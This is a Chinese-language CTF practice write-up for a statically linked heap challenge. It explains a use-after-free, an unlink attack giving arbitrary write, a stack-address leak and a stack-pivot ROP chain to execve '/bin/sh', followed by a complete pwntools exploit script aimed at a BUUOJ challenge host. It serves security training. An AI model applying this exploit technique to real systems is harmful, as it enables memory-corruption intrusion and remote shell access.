练习记录
一道静态编译的堆栈题。把堆和栈的两个知识点加到一起
概况:
- 静态编译,一般这种情况有syscall和int 0x80,可以用rop或者shellcode(需要rwx段,这题没有)
- PIE未开,可以很容易控制指针
- 删除符号表,这个比较烦人,根据情况自己命名,还是是菜单题比较容易找无非就是add,free,edit,show,read,atoi之类
- free很直接留着指针,add只能写31字节10次,还有edit似乎很容易解决
先大概把容易明白的函数命个名,逐个把菜单看看,有个UAF。但没有libc的情况下,即便很容易fastbin attack也不能搞到got,_free_hook,__malloc_hook之类,倒里栈题里用的ROP,可这里需要栈地址。一般情况下题目加载里没必要放栈地址,栈地址在libc里通过environ获得,如果留了后门就太好了。
用gdb跟进,发现0x6cc640这个位置放着类似environ的栈地址
操作步骤:
- 由于fastbin attack要有头标记,最容易的方法就是unlink这个啥都不要。先建6个块(固定大小)一共能建10个,先浪费6个有点贵,但控制指针后就可以不用了。将来0和1合起来,0写unlink头,利用2unlink
- free1,2后2的fp指向1,可以泄露这个堆地址
- 修改2的指针+20,指向2-0x20这个位置可以写到2的头,建到这里后写pre_size=0x50,2的size改为0x90
- free 2 unlink到指针区
- 控制指针后将0的指针指向指针1的位置,通过修改1的指针和内容达到任意地址写的目的
- 有几个地方需要写
- 泄露0x6cc640这个位置得到栈地址
- 在name这个位置是可写的,在这里写入rop
- 在栈里(exit函数后边的ret位置)写下移栈ROP=pop rbp,name,leave_ret
代码:
from pwn import *
elf = ELF('./pwn')
context(arch = 'amd64',log_level='debug')
#p = process('./pwn')
p = remote('node4.buuoj.cn', 25924)
menu = b'5.Exit\n'
def add(msg):
p.sendlineafter(menu, b'1')
sleep(0.1)
p.send(msg)
def show(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b'index:', str(idx).encode())
def edit(idx, msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(b'index:', str(idx).encode())
p.send(msg)
def free(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b'index:', str(idx).encode())
p.sendafter(b'name:', b'/bin/sh\x00') #0x6ccdc0
ptr = 0x6ccd60
#unlink head
add(flat(0,0x51,ptr-0x18,ptr-0x10)[:-1])
add(flat(0,0,0,0x31)[:-1])
add(b'A')
add(b'A')
add(b'A')
add(b'A')
#change chunk pre_size,size
free(1)
free(2)
show(2)
heap = u64(p.recv(8))
edit(2, p64(heap+0x20))
add(b'A')
add(flat(0x50,0x90))
free(2) #unlink
#leak stack
edit(0, flat(0, 0x6cbb80,0, ptr+8)[:-1])
edit(0, flat(0x6cc640))
show(1)
stack = u64(p.recv(8)) - 0x170
pop_rdi = 0x00000000004018a6 # pop rdi ; ret
pop_rsi = 0x00000000004019c7 # pop rsi ; ret
pop_rdx = 0x0000000000443166 # pop rdx ; ret
pop_rbp = 0x00000000004004d1 # pop rbp ; ret
pop_adb = 0x00000000004789a6 # pop rax ; pop rdx ; pop rbx ; ret
leave_ret = 0x0000000000400a12 # leave ; ret
syscall = 0x00000000004003da # syscall
name = 0x6ccdc0
bin_sh = name
new_stack = name+8
#rax=3b rdi->/bin/sh rsi=0 rdx=0
edit(0, p64(new_stack))
edit(1, flat(pop_rdi, bin_sh, pop_rsi))
edit(0, p64(new_stack + 0x18*1))
edit(1, flat(0, pop_adb, 0x3b))
edit(0, p64(new_stack + 0x18*2))
edit(1, flat(0, 0, syscall))
#mov stack to new_stack
edit(0, p64(stack))
edit(1, flat(pop_rbp, new_stack -8, leave_ret))
sleep(0.2)
p.sendline(b'cat /flag')
p.interactive()